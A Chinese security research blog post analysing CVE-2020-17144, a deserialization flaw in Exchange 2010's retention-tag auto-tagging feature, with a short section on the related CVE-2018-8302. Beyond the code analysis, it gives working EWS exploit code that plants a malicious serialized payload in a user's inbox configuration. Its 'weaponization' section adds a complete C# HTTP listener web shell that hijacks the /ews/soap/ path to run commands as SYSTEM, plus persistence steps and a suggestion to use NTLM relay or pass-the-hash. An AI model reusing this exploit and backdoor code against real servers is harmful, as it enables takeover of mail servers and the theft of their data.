作者:zcgonvh@QAX A-TEAM
官方公告中受影响的 CU31 实际上是准备在十月份发布的 exchange 2010 最终版本(但实际上并未发布),看来是因为我提交了这个漏洞的原因打乱了微软的终止计划
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-17144
0x00 前言
0x01 背景
Exchange提供了MRM功能对邮件生存周期进行管理,参考https://docs.microsoft.com/en-us/exchange/policy-and-compliance/mrm/retention-tags-and-retention-policies,其内部通过“标签”和“策略”进行实现。原文表述较为晦涩,简单总结就是:对一类邮件打上相同的标签(Tag),创建策略(例如定期删除)并应用到某个标签,使得被打上标签的邮件由邮箱助理模块定期统一进行处理。
0x02 分析
此漏洞成因简单粗暴,首先,模型加载由[Microsoft.Exchange.InfoWorker.Common]Microsoft.Exchange.InfoWorker.Common.ELC.AutoTagging.MailboxManager::LoadModel方法进行实现,其代码极为简略:
internal bool LoadModel(out LearningModel learningModel, out MessageTransformer messageTransformer, bool parseFai)
{
messageTransformer = null;
learningModel = null;
using (UserConfiguration userConfiguration = ElcMailboxHelper.OpenFaiMessage(mailboxSession, "MRM.AutoTag.Model", createIfMissing: false))
{
if (userConfiguration == null)
{
return false;
}
if (parseFai)
{
return DeserializeModelFAI(userConfiguration, out learningModel, out messageTransformer);
}
}
return true;
}
OpenFaiMessage将从收件箱直接读取配置并返回。由于任意用户均可对自身配置进行任意修改,这里是一个可控输入:
internal static UserConfiguration OpenFaiMessage(MailboxSession mailboxSession, string faiMessageClass, bool createIfMissing)
{
.....
StoreId defaultFolderId = mailboxSession.GetDefaultFolderId(DefaultFolderType.Inbox);
try
{
userConfiguration = mailboxSession.UserConfigurationManager.GetFolderConfiguration(faiMessageClass, UserConfigurationTypes.Stream | UserConfigurationTypes.XML | UserConfigurationTypes.Dictionary, defaultFolderId);
}
.....
return userConfiguration;
}
随后DeserializeModelFAI方法将在没有任何SerializationBinder的情况下直接进行反序列化:
private bool DeserializeModelFAI(UserConfiguration configItem, out LearningModel learningModel, out MessageTransformer messageTransformer)
{
.....
try
{
using (Stream serializationStream = configItem.GetStream())
{
IFormatter formatter = new BinaryFormatter();
learningModel = (LearningModel)formatter.Deserialize(serializationStream);
messageTransformer = (MessageTransformer)formatter.Deserialize(serializationStream);
result = true;
}
}
.....
return result;
}
0x03 利用
想要成功利用漏洞,便需要一个修改操作服务器端UserConfiguration对象的方式。除了常规邮件服务与OWA,Exchange提供还提供了EWS接口供客户端调用,其对应的客户端类库为Microsoft.Exchange.WebServices.dll。
public class UserConfiguration : IJsonSerializable
{
...
public string Name
{
get
{
return name;
}
internal set
{
name = value;
}
}
public FolderId ParentFolderId
{
get
{
return parentFolderId;
}
internal set
{
parentFolderId = value;
}
}
public ItemId ItemId => itemId;
public UserConfigurationDictionary Dictionary => dictionary;
public byte[] XmlData
{
get
{
ValidatePropertyAccess(UserConfigurationProperties.XmlData);
return xmlData;
}
set
{
xmlData = value;
MarkPropertyForUpdate(UserConfigurationProperties.XmlData);
}
}
public byte[] BinaryData
{
get
{
ValidatePropertyAccess(UserConfigurationProperties.BinaryData);
return binaryData;
}
set
{
binaryData = value;
MarkPropertyForUpdate(UserConfigurationProperties.BinaryData);
}
}
...
}
对照方法定义很容易写出以下Exp:
ExchangeService service = new ExchangeService(ExchangeVersion.Exchange2010);
service.Credentials = new WebCredentials("zcgonvh","P@ssw0rd!");
service.Url = new Uri("https://target/ews/Exchange.asmx");
{
byte[] data = EVIL-SERIALIZED-BUFFER;
UserConfiguration u = null;
Folder folder = Folder.Bind(service, WellKnownFolderName.Inbox);
u = new UserConfiguration(service);
u.BinaryData = data;
u.Save("MRM.AutoTag.Model", folder.Id);
}
其中EVIL-SERIALIZED-BUFFER为通过ActivitySurrogateSelectorGenerator生成的二进制序列化数据,注意需要更新为修复兼容性的版本,并使用.net 3.5进行编译。
执行后,目标服务器MSExchangeMailboxAssistants.exe进程将连续进行多次反序列化。
0x04 分析
代码执行仅仅是利用第一步。通过上述利用过程可以观察到一个现象:我们访问了EWS,设置了一个邮箱文件夹对象上的属性,而漏洞由MSExchangeMailboxAssistants.exe进行触发。这个现象已经并非单纯的web代码审计,我们需要站在更高的系统层面进行理解。在https://docs.microsoft.com/zh-cn/exchange/architecture/architecture?view=exchserver-2019可以看到Exchange体系结构图,单纯考虑此漏洞所涉及的系统进行简化整理,可以得到如下流程图:
protected override void OnStartInternal(string[] args)
{
...
databaseManager = (DatabaseManager)(object)new DatabaseManager("MSExchangeMailboxAssistants", 50, InfoworkerAssistants.CreateEventBasedAssistantTypes(), InfoworkerAssistants.CreateTimeBasedAssistantTypes(), true);
databaseManager.Start();
...
}
CreateEventBasedAssistantTypes方法将注册Microsoft.Exchange.MailboxAssistants.Assistants.ELC.ElcEventBasedAssistant类,其HandleEventInternal方法会判断是否为AutoTag配置,我们可以看到熟悉的名称MRM.AutoTag.Model:
internal static bool IsAutoTagFai(MapiEvent mapiEvent)
{
if ((int)mapiEvent.get_ClientType() != 6 && (mapiEvent.get_EventFlags() & 1) != 0)
{
if (string.Compare(mapiEvent.get_ObjectClass(), "IPM.Configuration.MRM.AutoTag.Model", StringComparison.OrdinalIgnoreCase) != 0)
{
return string.Compare(mapiEvent.get_ObjectClass(), "IPM.Configuration.MRM.AutoTag.Setting", StringComparison.OrdinalIgnoreCase) == 0;
}
return true;
}
return false;
}
如是,则将在后续过程中调用Microsoft.Exchange.MailboxAssistants.Assistants.ELC.RetentionPolicyCheck::LoadAutoTagFai方法,此方法负责模型初始化加载,并进入实际的反序列化调用。
0x05 武器化
现在已经能够在远程执行任意命令,然而在实战利用中远远不够。我们不能确定对方是否能够真正联网,一个没有稳定控制通道的漏洞利用在实战中价值并不高。
我们只能确定能够访问到目标的EWS,那么如何进行稳定控制?我们当然可以写入WebShell,但这仅仅是下策。MSExchangeMailboxAssistants本身通过SYSTEM账户运行,所以完全可以通过调用HTTP API进行端口复用,劫持EWS某个未被注册的端点供外部访问。
NetFX提供了HttpListener提供了HTTP API的托管访问,参考https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-5.0,使用以下代码即可在/ews/soap/路径建立一个Http监听器,并执行request["pass"]提供的命令:
string password = "pass";
try
{
if (!HttpListener.IsSupported){return;}
HttpListener listener = new HttpListener();
listener.Prefixes.Add("http://*:80/ews/soap/");
listener.Start();
while (true)
{
HttpListenerContext context = listener.GetContext();
HttpListenerRequest request = context.Request;
HttpListenerResponse response = context.Response;
Stream stm = null ;
string cmd=request.QueryString[password];
if(!string.IsNullOrEmpty(cmd))
{
try
{
Process p = new Process();
p.StartInfo.FileName = cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
response.StatusCode = 200;
response.ContentLength64 = data.Length;
stm = response.OutputStream;
stm.Write(data, 0, data.Length);
}
catch
{
response.StatusCode = 404;
}
finally
{
if(stm!=null)
{
stm.Close();
}
}
}
else
{
response.StatusCode = 404;
response.OutputStream.Close(); }
}
}
catch{}
由于会多次触发反序列化行为,为了防止阻塞以及跑出异常,需要开启新线程进行监听,完整代码大致如下:
namespace Zcg.Exploit.Remote
{
public class SimpleExecutionRemoteStub
{
public SimpleExecutionRemoteStub()
{
new Thread(Listen).Start();
}
void Listen()
{
....
}
}
}
编译,使用新用户执行后访问/ews/soap/?pass=whoami,不出意外将得到whoami的输出结果:
private bool NeedToAutoTag(MapiEvent mapiEvent, UserRetentionPolicyCache userRetentionPolicyCache)
{
if ((mapiEvent.get_EventMask() & 2) != 0 && userRetentionPolicyCache != null && userRetentionPolicyCache.AutoTagCache != null && userRetentionPolicyCache.AutoTagCache.UserSetting != null && userRetentionPolicyCache.AutoTagCache.UserSetting.AutoTagEnabled)
{
Tracer.TraceDebug<object, MapiEvent>((long)GetHashCode(), "{0}: this event is interesting because it is new mail and auto tagging is enabled: {1}", TraceContext.Get(), mapiEvent);
return true;
}
return false;
}
byte[] data = GeneratePayload(File.ReadAllBytes("e.dll"));
UserConfiguration u = null;
Folder folder = Folder.Bind(service, WellKnownFolderName.Inbox);
try
{
u=UserConfiguration.Bind(service,"MRM.AutoTag.Model",folder.Id,UserConfigurationProperties.BinaryData);
u.Delete();
}catch{}
try
{
u=UserConfiguration.Bind(service,"MRM.AutoTag.Setting",folder.Id,UserConfigurationProperties.Dictionary);
u.Delete();
}catch{}
u = new UserConfiguration(service);
u.BinaryData = data;
u.Save("MRM.AutoTag.Model", folder.Id);
try
{
u = new UserConfiguration(service);
u.Dictionary["AutoTagEnabled"] = true;
u.Dictionary["NumberOfPredictedEmail"] = 0;
u.Dictionary["NumberOfCorrectedEmail"] = 0;
u.Dictionary["NumberOfRetaggedEmail"] = 0;
u.Save("MRM.AutoTag.Setting", folder.Id);
}catch{}
注意由于此配置默认可能存在,所以需要删除或覆盖。编译执行后重启,直接访问/ews/soap/?pass=whoami依然可以执行命令,至此漏洞利用完美达成。以下为视频演示效果:
最后一个补充:EWS支持NTLM协议认证,采用Relay或是Hash登录均可作为明文密码的替代品,是某些情况下可选的攻击方案。
0x06 拓展:CVE-2018-8302
同样是[Microsoft.Exchange.InfoWorker.Common]类库,在Microsoft.Exchange.InfoWorker.Common.TopN.TopNConfiguration::ReadWordFrequencyMap方法中可以看到对TopNWords.Data的反序列化,但添加了检查类型检查来确保安全性。
internal bool ReadWordFrequencyMap()
{
using (UserConfiguration userConfiguration = OpenMessage(createIfMissingOrCorrupt: true))
{
if (userConfiguration != null)
{
using (Stream stream = userConfiguration.GetStream())
{
Exception ex = null;
try
{
Type[] allowList = new Type[1]
{
typeof(KeyValuePair<string, int>)
};
wordFrequency = (KeyValuePair<string, int>[])SafeSerialization.SafeBinaryFormatterDeserializeWithAllowList(stream, allowList);
}
....
}
}
....
}
}
private UserConfiguration OpenMessage(bool createIfMissingOrCorrupt)
{
UserConfiguration userConfiguration = null;
StoreId defaultFolderId = mailboxSession.GetDefaultFolderId(DefaultFolderType.Inbox);
Exception ex = null;
try
{
userConfiguration = mailboxSession.UserConfigurationManager.GetFolderConfiguration("TopNWords.Data", UserConfigurationTypes.Stream | UserConfigurationTypes.Dictionary, defaultFolderId);
}
....
return userConfiguration;
}
除了白名单列表外的代码如出一辙,是的没错,这就是CVE-2018-8302的漏洞位置。将MRM.AutoTag.Model替换为TopNWords.Data,即可作为exp直接利用。
当然,现在来看这一点只存在研究意义,漏洞的影响范围已经基本被CVE-2020-0688和CVE-2020-17144完全覆盖。
0x07 补丁与其他版本
而在其它版本中并不存在此功能,看来已经作为实验性质特性被弃用。
0x08 总结
我个人不喜欢论文性质的总结,浪费时间且起不到实质效果。总结的本质应当升华文章主题并提出更高层次或更加深入的思想,而不是由打工人回退至论文狗。
这是招人纳新的分隔线
红蓝对抗(特殊场景下的高强度攻防对抗方向)
渗透测试
安全开发(红队 Windows/Linux 武器、平台开发方向)
红队向产品经理
安全研究
如果你拥有以上技能并想加入 A-TEAM(北京、成都,15-30K 能力高者不受此限制),请投简历: